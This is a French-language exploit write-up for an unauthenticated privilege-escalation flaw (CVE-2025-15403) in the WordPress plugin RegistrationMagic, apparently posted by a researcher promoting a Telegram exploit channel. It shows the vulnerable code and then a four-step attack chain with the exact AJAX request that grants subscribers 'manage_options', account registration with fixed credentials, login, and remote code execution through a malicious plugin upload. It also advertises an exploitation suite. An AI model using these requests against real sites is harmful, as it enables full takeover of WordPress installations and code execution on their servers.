
RegistrationMagic <= 6.0.7.1 - Élévation de privilèges non authentifiée via admin_order
RegistrationMagic <= 6.0.7.1 - Élévation de privilèges non authentifiée via admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 Les renseignements sortent ici en premier. Suivez @KNxploited sur Telegram — divulgations CVE précises, exploits fonctionnels et recherche de vulnérabilités approfondie. Le canal pour ceux qui n'attendent pas les nouvelles — ils les créent.
CVE-2025-15403 est une vulnérabilité d'élévation de privilèges CVSS 9.8 Critique dans le plugin RegistrationMagic pour WordPress.
La faille réside dans la fonction add_menu du plugin, exposée sans authentification via l'action AJAX rm_user_exists. En injectant un slug vide dans le paramètre order accompagné de l'indicateur enable_admin_order=yes, un attaquant manipule la logique interne de génération du menu du plugin. Lorsque le menu d'administration est ensuite construit, le plugin appelle silencieusement add_cap('manage_options') sur le rôle cible — élevant tout compte de niveau abonné à une capacité administrative complète.
| Champ | Détails |
|---|---|
| ID CVE | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Versions affectées | Toutes les versions jusqu'à 6.0.7.1 incluse |
| Type de vulnérabilité | Élévation de privilèges non authentifiée |
| Exigence d'attaque | Étape AJAX : aucune. Exploitation : compte abonné |
| Vecteur d'attaque | Réseau |
| Score CVSS 3.1 | 9.8 CRITIQUE |
| Vecteur CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impact | Reprise totale de l'administrateur WordPress |
| Chercheur | Nxploited |
La cause racine est que la fonction add_menu est accessible sans authentification via rm_user_exists, combinée à une absence totale de validation du slug admin_order :
// Enregistrée sans vérification de capacité
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← Contrôlé par l'utilisateur, NON assaini
$role_key = /* dérivé de POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Stocke la commande contrôlée par l'attaquant dans les options du plugin
update_option('rm_admin_order', $order); // ex. ",menu1" → premier slug vide
}
}
// Plus tard, lors de la construction du menu d'administration...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Empoisonné par l'attaquant
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Un slug vide déclenche l'octroi inconditionnel de capacité
$role->add_cap('manage_options'); // ← CAPACITÉ ADMIN COMPLÈTE AJOUTÉE
}
}
}
Pourquoi c'est critique :
wp_ajax_nopriv_* = zéro authentification nécessaire pour empoisonner l'optionorder=,menu1 passe la vérification empty(), déclenchant add_cap('manage_options')manage_options est la capacité WordPress la plus élevée — équivalente à Administrateur╔══════════════════════════════════════════════════════════════════════════╗
║ ÉTAPE 1 — Empoisonnement d'option non authentifié ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← premier élément vide = slug vide
_Subscriber = 1 ← clé du rôle cible
restore = false
enable_admin_order= yes
Réponse : HTTP 200 (toute réponse non bloquée = option empoisonnée)
↓ Le plugin stocke order=",menu1" dans wp_options
↓ La prochaine construction du menu admin déclenche add_cap('manage_options') sur le rôle Abonné
╔══════════════════════════════════════════════════════════════════════════╗
║ ÉTAPE 2 — Acquisition de compte (Abonné) ║
╚══════════════════════════════════════════════════════════════════════════╝
Option A — S'inscrire via le formulaire d'inscription du site (Mode 0) :
GET /wp-login.php?action=register → détection intelligente du formulaire
POST → créer un compte abonné
Identifiants : NXploited / xplpass123
Option B — Utiliser un compte abonné existant.
╔══════════════════════════════════════════════════════════════════════════╗
║ ÉTAPE 3 — Connexion + Récupération de capacité ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
Le compte abonné possède désormais manage_options → accès complet au panneau d'administration
╔══════════════════════════════════════════════════════════════════════════╗
║ ÉTAPE 4 — Vérification approfondie et RCE via téléversement de plugin ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Tableau de bord admin accessible ✔️
GET /wp-admin/plugin-install.php → Page d'installation de plugin accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin téléversé et exécuté ✔️
GET /wp-content/plugins/Nxploited/hello.php
La réponse contient "Nxploited" → RCE CONFIRMÉE ✔️
Cette suite d'exploitation fournit trois modes distincts pour couvrir l'ensemble du cycle de vie de l'attaque :